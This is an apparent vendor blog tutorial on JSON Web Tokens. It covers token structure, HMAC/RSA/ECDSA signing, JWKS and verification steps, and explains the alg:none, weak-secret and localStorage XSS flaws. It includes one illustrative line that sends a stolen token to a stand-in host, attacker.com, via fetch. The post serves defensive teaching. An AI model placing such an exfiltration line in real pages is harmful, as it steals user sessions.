TextSorter

JSON Web Tokens Demystified: How JWT Authentication Actually Works Under the Hood

· 25 min read

If you have built any web app, mobile app, or backend microservice in the last ten years, you have used a JWT (pronounced like the English word “jot”).

JWTs are everywhere. They are in your Authorization headers (Bearer eyJhbGci...), your single sign-on flows, your OAuth2 identity providers, and your mobile API sessions.

And yet, despite their popularity, there is still a massive amount of confusion around what a JWT actually is.

Every single week on developer forums, someone asks: “Why can everyone read my JWT payload in their browser? I thought it was encrypted!”

The short answer: Standard JWTs are not encrypted at all.

In this comprehensive, practical guide, we are going to dissect JSON Web Tokens from the ground up under the official RFC 7519 specification. We will look at how tokens are constructed, how digital signatures work, the biggest security mistakes developers make in production, and how you can safely inspect and debug tokens in seconds.

                    +------------------------------------+
                    |       THE ANATOMY OF A JWT TOKEN   |
                    +-----------------+------------------+
                                      |
            +-------------------------+-------------------------+
            |                         |                         |
            v                         v                         v
+-----------------------+ +-----------------------+ +-----------------------+
|  1. HEADER            | |  2. PAYLOAD (Claims)  | |  3. SIGNATURE         |
|  {"alg": "HS256"}     | |  {"sub": "user_42"}   | |  HMACSHA256(H.P, key) |
|  Base64URL encoded    | |  Base64URL encoded    | |  Base64URL encoded    |
+-----------+-----------+ +-----------+-----------+ +-----------+-----------+
            |                         |                         |
            +-------------------------+-------------------------+
                                      |
                                      v
                     +---------------------------------+
                     |  COMPACT TOKEN STRING           |
                     |  header.payload.signature       |
                     +---------------------------------+

The Three Parts of a JWT

A compact JWT is just a single text string with three distinct parts separated by dots (.):

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTYiLCJuYW1lIjoiQWxleCJ9.abc123signature...

Let us look at each part in plain English:

Part 1: The Header (The Metadata)

The header tells the computer what type of token it is and what mathematical algorithm was used to sign it:

{
  "alg": "HS256",
  "typ": "JWT"
}

Common signature algorithms include:

  • HS256: HMAC using SHA-256 (Uses a single shared secret key between client and server)
  • RS256: RSA Signature using SHA-256 (Uses a private key to sign and a public key to verify)
  • ES256: ECDSA using P-256 and SHA-256 (Modern, lightweight elliptic curve signatures)

Part 2: The Payload (The Claims)

The payload contains the actual information about the user or session:

{
  "sub": "user_98124",
  "name": "Sarah Connor",
  "role": "admin",
  "exp": 1770003600,
  "iat": 1770000000
}

Standard registered claims under RFC 7519 include:

  • sub (Subject): The unique user ID or account identifier
  • exp (Expiration Time): The Unix timestamp when the token stops being valid
  • iat (Issued At): When the token was originally generated
  • iss (Issuer): The identity provider that minted the token
  • aud (Audience): The intended recipient API of the token

Part 3: The Cryptographic Signature

This is what keeps the token secure and tamper-proof. The server takes the Base64URL-encoded header, appends a period, appends the Base64URL-encoded payload, and hashes them using its secret key:

Signature = HMAC_SHA256(Base64URL(Header) + "." + Base64URL(Payload), SecretKey)

If an attacker intercepts the token and tries to change "role": "user" to "role": "admin", the signature check will fail completely, and your backend server will reject the forged token with an HTTP 401 Unauthorized.

You can inspect claims and verify token structures locally using our Client-Side JWT Decoder or construct mock tokens with our JWT Builder.

+---------------+-----------------------------------+-----------------------------------+
| JWT Section   | What It Contains                  | Is It Secret?                     |
+---------------+-----------------------------------+-----------------------------------+
| 1. Header     | Algorithm & token type            | No (Anyone can decode Base64)     |
| 2. Payload    | User ID, roles, expiration time   | No (Anyone can decode Base64)     |
| 3. Signature  | Cryptographic hash check          | Yes (Only secret keyholder signs) |
+---------------+-----------------------------------+-----------------------------------+

The Three Critical Security Flaws That Break Production Systems

Flaw 1: The Infamous alg: none Exploit

In the early days of JWT libraries, the specification allowed an algorithm called none for unsigned tokens.

Attackers quickly realized that if they modified a valid token, changed the header to {"alg": "none"}, and stripped the signature, vulnerable backend libraries would happily accept the token as valid without verifying anything! The Fix: Modern libraries reject alg: none by default. Always explicitly configure your verification middleware to accept only your expected algorithm (e.g., strictly HS256 or RS256).

Flaw 2: Storing Sensitive Tokens in localStorage

Many frontend tutorials tell developers to save access tokens in browser localStorage.

This is dangerous. Any JavaScript running on your page (including third-party analytics scripts, ad trackers, or an injected XSS payload) can read localStorage.getItem('token') with one line of code and exfiltrate your user sessions. The Fix: Store access tokens in HttpOnly, Secure, SameSite=Strict cookies. JavaScript cannot access HttpOnly cookies, rendering XSS token theft impossible.

Flaw 3: Using Weak Shared Secrets for HMAC

If you use HS256 with a simple passphrase like "my_secret_key_123", an attacker who intercepts a single token can run an offline brute-force attack using graphics cards and crack your secret key in under five minutes. Once they know the key, they can mint valid admin tokens forever. The Fix: Always generate random 256-bit or 512-bit secrets using our Password Generator Tool or Hash Generator Tool.

JWT vs Stateful Session Cookies: How to Choose

+---------------------+-------------------------------+-----------------------------------+
| Feature             | Stateless JWT                 | Traditional Session Cookies       |
+---------------------+-------------------------------+-----------------------------------+
| Server Memory       | Zero (Tokens verified locally)| Stores session IDs in Redis / DB  |
| Revocation Speed    | Hard (Must wait for exp)      | Instant (Delete session in Redis) |
| Microservices       | Easy (Services verify offline)| Requires central session DB lookups|
| Token Payload Size  | Large (~500 to 1500 bytes)    | Tiny (~32 byte session ID string) |
+---------------------+-------------------------------+-----------------------------------+

Conclusion: Debug Tokens with Total Privacy

JSON Web Tokens provide a clean, stateless authorization layer when configured with strong keys and secure cookies.

Whenever you need to inspect claims, check expiration dates, or verify token structures, use the TextSorter JWT Decoder. It is completely free, runs 100% locally in your browser, and keeps your private tokens secure.

Deep Dive: Cryptographic Mechanics of Digital Signatures

To understand why JSON Web Tokens are tamper-proof, we need to examine the mathematics of message authentication codes and asymmetric public-key cryptography.

1. Symmetric Signatures with HMAC-SHA256 (HS256)

In symmetric signing, the authorization server and the resource API share a single secret string.

HMAC (Hash-based Message Authentication Code) is defined by RFC 2104:

HMAC(K, m) = H((K' XOR opad) || H((K' XOR ipad) || m))

Where H is the cryptographic hash function (SHA-256), K is the secret key, m is the message (Header + ”.” + Payload), and opad and ipad are outer and inner padding constants.

Because HMAC involves nested hashing with internal key padding, it is mathematically immune to length-extension attacks that afflict raw hash concatenations like SHA256(key + message).

2. Asymmetric Signatures with RSA and ECDSA (RS256 & ES256)

In large microservice architectures, sharing a single secret key across fifty different services creates a massive security liability: if any single microservice is compromised, the attacker gains the ability to forge admin tokens for every service in the entire company.

Asymmetric cryptography solves this by splitting the key into two parts:

  • Private Key (Kept strictly on the Auth Server): Used to sign new tokens when users log in.
  • Public Key (Distributed to all microservices via JWKS): Used by backend APIs to verify signatures. Even if an API server is hacked, the attacker only gets the public key and cannot mint new tokens.
+---------------------+-------------------+-------------------+-------------------------+
| Algorithm           | Key Type          | Signature Size    | Relative Verification   |
+---------------------+-------------------+-------------------+-------------------------+
| HS256 (HMAC)        | Shared Secret     | 32 Bytes (256 b)  | Blazing Fast (CPU hash) |
| RS256 (RSA 2048)    | Public / Private  | 256 Bytes (2048 b)| Moderate (BigInt math)  |
| ES256 (ECDSA P-256) | Public / Private  | 64 Bytes (512 b)  | Ultra Fast & Compact    |
+---------------------+-------------------+-------------------+-------------------------+

Implementing JSON Web Key Sets (JWKS) in Production

Modern identity providers like Auth0, Okta, Firebase, and Keycloak expose their public signing keys at a well-known URL endpoint: https://auth.example.com/.well-known/jwks.json

Here is how a real JWKS document looks:

{
  "keys": [
    {
      "kty": "RSA",
      "use": "sig",
      "alg": "RS256",
      "kid": "key_2026_q1",
      "n": "u1W_z9...[Modulus]",
      "e": "AQAB"
    }
  ]
}

When a client sends a token, the resource server inspects the kid (Key ID) header in the JWT, retrieves the matching public key from its local JWKS memory cache, and verifies the signature without making any network calls to the auth database.

Step-by-Step Token Verification Algorithm

When your backend API receives an HTTP request containing Authorization: Bearer <token>, your auth middleware must execute these exact steps in order:

  1. Split Token: Verify the string contains exactly two dot characters (header.payload.signature).
  2. Decode Header: Base64URL-decode the header and verify that the alg matches your whitelisted algorithm (e.g. RS256).
  3. Verify Signature: Run the cryptographic signature verification against the header and payload bytes. If verification fails, return HTTP 401 Unauthorized immediately.
  4. Validate Expiration (exp): Check that current_unix_time < exp. Allow a 30-second clock skew tolerance to account for slight server time drifts.
  5. Validate Not Before (nbf): If present, verify that current_unix_time >= nbf.
  6. Validate Issuer (iss) and Audience (aud): Ensure the token was minted by your trusted auth provider and intended specifically for your API.

Test, decode, and build custom token structures visually with our JWT Decoder and JWT Builder.

Production Best Practices for Secure Token Architectures

  1. Short Access Token Lifetimes: Set access token expiration to 10-15 minutes.
  2. Use Refresh Token Rotation: Issue single-use refresh tokens stored in HttpOnly cookies. When a refresh token is used to obtain a new access token, invalidate the old refresh token and issue a new pair. If a revoked refresh token is ever presented, invalidate all active sessions for that user immediately (detecting token theft).
  3. Never Log Full Tokens: Mask tokens in server log files (Bearer eyJhbGci...[REDACTED]) to prevent log aggregation systems from storing credentials.
  4. Use Client-Side Tools for Debugging: When inspecting production tokens during development, never paste authorization headers into untrusted third-party formatters that send data across the internet. The TextSorter JWT Decoder runs 100% locally in your browser memory for total confidentiality.

Deep Dive: Token Storage Shootout - LocalStorage vs Cookies vs In-Memory

Where should you actually store JWT tokens in a single-page application (SPA)?

This debate has raged across the web development community for a decade. Let us evaluate the three main storage architectures with their security tradeoffs:

+---------------------+-------------------+-------------------+-------------------------+
| Storage Mechanism   | XSS Vulnerability | CSRF Vulnerability| Token Persistence       |
+---------------------+-------------------+-------------------+-------------------------+
| LocalStorage        | Extreme Risk      | Immune            | Persists across tabs    |
| HttpOnly Cookie     | Immune            | Vulnerable w/o CSRF| Persists across tabs   |
| In-Memory Variable  | Immune            | Immune            | Lost on page reload     |
| BFF Pattern (Proxy) | Immune            | Immune (Strict)   | Managed by secure proxy |
+---------------------+-------------------+-------------------+-------------------------+

1. LocalStorage: The Easy but Dangerous Choice

Storing tokens in localStorage makes implementation trivial in React or Vue:

// DO NOT DO THIS FOR SENSITIVE ACCOUNTS!
localStorage.setItem('accessToken', token);

However, any Cross-Site Scripting (XSS) vulnerability allows an attacker to execute fetch('https://attacker.com/steal?token=' + localStorage.getItem('accessToken')), stealing user sessions instantly.

2. The Gold Standard: HttpOnly Secure Cookies with SameSite=Strict

Setting the token in an HttpOnly, Secure, SameSite=Strict cookie prevents JavaScript from reading the cookie entirely. Modern browsers automatically attach the cookie to outgoing same-origin API requests:

Set-Cookie: access_token=eyJhbGci...; HttpOnly; Secure; SameSite=Strict; Path=/api; Max-Age=900

3. The Backend-For-Frontend (BFF) Pattern

In enterprise architectures, single-page applications talk to a lightweight BFF proxy. The browser holds an encrypted session cookie, and the BFF server attaches the actual JWT when forwarding requests to internal microservices.

Comprehensive Troubleshooting Guide for JWT Authentication Errors

Here is how to diagnose and resolve the most common JWT error codes:

+-------------------------+-----------------------------------+-----------------------------------+
| Error Message           | Root Cause                        | Fix / Resolution                  |
+-------------------------+-----------------------------------+-----------------------------------+
| TokenExpiredError       | Current time exceeds exp claim    | Use refresh token to get new JWT  |
| JsonWebTokenError       | Malformed string or invalid alg   | Verify header format & signature  |
| NotBeforeError          | Server clock is behind nbf claim  | Add 30s clock skew tolerance      |
| InvalidSignatureError   | Secret key mismatch or modified   | Check public key JWKS caching     |
+-------------------------+-----------------------------------+-----------------------------------+

Decode, verify, and inspect your JWT claims safely using our Client-Side JWT Decoder Tool.

Frequently Asked Questions

Is a standard JWT token encrypted or just encoded?

Standard JWTs (JWS) are Base64URL-encoded and digitally signed, NOT encrypted. Anyone who intercepts a JWT can decode the payload and read the user ID, email, and roles in plaintext. Never put raw passwords or unencrypted secrets inside a standard JWT payload.

What is the famous algorithm none vulnerability in JWT?

The algorithm none bug happens when an authentication backend blindly trusts the alg header in the token. If an attacker changes alg to none and strips the signature, a vulnerable server accepts the forged token as valid. Secure libraries reject the none algorithm by default.

Where should I store JWT access tokens in the browser?

Never store sensitive auth tokens in localStorage because any malicious third-party script or XSS vulnerability can read them with one line of code. The gold standard is storing access tokens in HttpOnly, Secure, SameSite=Strict cookies.

How can I decode and inspect JWT tokens without exposing user credentials to third parties?

Use the TextSorter JWT Decoder. Because it runs 100% locally via client-side JavaScript in your browser, your auth tokens and claims are never sent across the internet.